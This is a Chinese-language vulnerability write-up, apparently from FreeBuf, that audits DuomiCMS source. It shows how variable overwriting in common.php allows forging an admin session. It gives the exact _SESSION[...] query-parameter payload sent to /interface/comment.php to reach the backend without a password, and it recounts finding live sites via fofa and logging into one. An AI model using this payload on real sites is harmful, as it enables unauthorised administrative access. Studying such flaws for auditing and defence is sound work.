本地代码走查
本次白盒代码测试的cms是DuomiCms,这次使用Seay工具进行代码审查,下载DuomiCms源码,然后工具加载。
![image-20220417165441252](https://image.3001.net/images/20220417/1650200727_625c109792b357354ed47.png!small)
先全局搜索危险函数,依次排查;
extract();//把数组编程变量
parser_str();//把字符串变成变量
$$; //可变变量,将变量的值读出来然后再赋值为变量
在函数定位后,在文件中依次寻找有通用性的文件后缀内容,如下所示;
//此类后缀的文件一般是函数库
common.func
.func.
.class.
.inc.
发现符合条件的文件为/duomiphp/common.php.
<?php
error_reporting(0);
if(is_file($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php')){
require_once($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php');
}
define('duomi_INC', preg_replace("|[/\\\]{1,}|",'/',dirname(__FILE__) ) );
define('duomi_ROOT', preg_replace("|[/\\\]{1,}|",'/',substr(duomi_INC,0,-8) ) );
define('duomi_DATA', duomi_ROOT.'/data');
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
$starttime = microtime();
require_once(duomi_INC.'/common.func.php');
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
进一步定位其中的危险函数如下,可以通过该方式来通过传参来造出变量!(当然造传参的时候注意规避上面的几个if条件,不要跳进去),因此我的思路是能不能找到session对应的文件,然后模拟admin的session进行传参实现登陆呢?因此下载duomiCMS本地实现下。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
本地搭建CMS,访问后台页面,发现登陆成功是通过admin/login.php文件实现的。
![image-20220417181716318](https://image.3001.net/images/20220417/1650200739_625c10a345c158d03a440.png!small)
访问admin/login.php文件进行白盒走查。
<?php
require_once(dirname(__FILE__).'/../duomiphp/common.php');
require_once(duomi_INC."/check.admin.php");
if(empty($dopost))
{
$dopost = '';
}
//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
{
$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');
fwrite($fp,'ok');
fclose($fp);
}
//为了防止未知安全性问题,强制禁用安装程序的文件
if( file_exists("../install/index.php") ) {
@rename("../install/index.php", "../install/index.php.bak");
}
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(m_eregi('/admin/login',$cururl))
{
$redmsg = '<div style="color:#ff0000;font-size:14px;background:#fff;padding:5px 0">后台默认路径/admin建议及时修改,修改后会更安全!</div>';
}
else
{
$redmsg = '';
}
//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{
$validate = empty($validate) ? '' : strtolower(trim($validate));
$svali = strtolower(GetCkVdValue());
if($validate=='' || $validate != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!','-1');
exit();
}
else
{
$cuserLogin = new userLogin($admindir);
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid,$pwd);
//success
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
}
//error
else if($res==-1)
{
ShowMsg('你的用户名不存在!','-1');
exit();
}
else
{
ShowMsg('你的密码错误!','-1');
exit();
}
}
//password empty
else
{
ShowMsg('用户和密码没填写完整!','-1');
exit();
}
}
}
include('html/login.htm');
?>
其中这段比较敏感,因为会求情一个叫keepUser()的函数,因此进一步定位该函数;
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
进入/duomiphp/check.admin.php,定位该函数,发现后端是通过前端传入的session,分别取对应的参数分别作为userID,groupid和userName写入后台叫admincachefile的文件中。
//保持用户的会话状态
//成功返回 1 ,失败返回 -1
function keepUser()
{
if($this->userID!=""&&$this->groupid!="")
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen($admincachefile,'w');
fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
fclose($fp);
return 1;
}
else
{
return -1;
}
}
那我这样就取巧一下,通过登陆的时候,页面直接先返回对应的session,因此在登录的代码中插桩,路径在/admin/login.php
![image-20220417200957206](https://image.3001.net/images/20220417/1650200743_625c10a782d09b910d81f.png!small)
测试登录后,果然返回了我所需要的session值;
![image-20220417200407501](https://image.3001.net/images/20220417/1650200748_625c10ac087201f3b96f1.png!small)
array(5) {
["duomi_ckstr"]=> string(4) "kwye"
["duomi_ckstr_last"]=> string(0) ""
["duomi_admin_id"]=> string(1) "1"
["duomi_group_id"]=> string(1) "1"
["duomi_admin_name"]=> string(5) "admin"
}
那我现在的思路就是在线上渗透的时候,我把该session上传来完成登录。由于完成该方案是需要页面中有session_start()函数在代码最上方执行,因此项目中搜索定位,/interface/comment.php文件满足要求;
<?php
session_start();
require_once("../duomiphp/common.php");
require_once(duomi_INC.'/core.class.php');
AjaxHead();
header('Content-Type:text/html;charset=UTF-8');
if($cfg_gbookstart=='0'){
echo '对不起,评论暂时关闭';
exit();
}
$itype=$type;
$itype=is_numeric($itype)?$itype:0;
if(!isset($action))
{
$action = '';
}
$ischeck = $cfg_feedbackcheck=='Y' ? 0 : 1;
$id = $_REQUEST['id'];
$id = (isset($id) && is_numeric($id)) ? $id : 0;
$page=empty($page) ? 1 : intval($page);
if($page==0) $page=1;
if(empty($id))
{
echo "err";
exit();
}
?>
<iframe id="parentframe" width="100%" frameborder="0" scrolling="no" src="/<?php echo $GLOBALS['cfg_cmspath']; ?>interface/comment/comment.html?id=<?php echo $id?>&type=<?php echo $itype?>&iscaptcha=<?php echo $GLOBALS['cfg_feedback_ck']; ?>&islogin=<?php echo (!empty($_SESSION['duomi_user_auth'])?1:0) ;?>&title=" marginheight="0" marginwidth="0" name="comment" style="height:auto"></iframe>
其中还包含文件require_once(“../duomiphp/common.php”);因此可以进行传参,将session传进去。
_SESSION[duomi_ckstr]=kwye&
_SESSION[duomi_ckstr_last]=&
_SESSION[duomi_admin_id]=1&
_SESSION[duomi_group_id]=1&
_SESSION[duomi_admin_name]=admin
然后作为传参拼接在触发路径后进行访问:
![image-20220417203511508](https://image.3001.net/images/20220417/1650200749_625c10ad8cec55ad99516.png!small)
然后再次访问后台主页,发现不需要登陆就能进入后台(因为在后台塞进session的时候,php框架会自动给浏览器塞入对应的cookie,从而不需要密码也能登陆),本地渗透测试成功,接下来进行线上复现。
![image-20220417203605035](https://image.3001.net/images/20220417/1650200752_625c10b079d6a6d874afe.png!small)
线上渗透
通过fofa搜索对应版本的duomicms,找到测试目标站点;
![image-20220417204732655](https://image.3001.net/images/20220417/1650200782_625c10ce848acf2c37d7d.png!small)
在域名后拼接一样的session值访问,一把梭;
![image-20220417205016695](https://image.3001.net/images/20220417/1650200794_625c10da5cc3815da0425.png!small)
发现无需密码,直接进入后台,线上渗透成功。
总结
![image-20220417205857982](https://image.3001.net/images/20220417/1650200808_625c10e803d542b089f5d.png!small)
声明
本次实践是在合法授权情况下进行,数据已经全部加密,主要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。
本文作者:黑羽, 转载请注明来自FreeBuf.COM
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下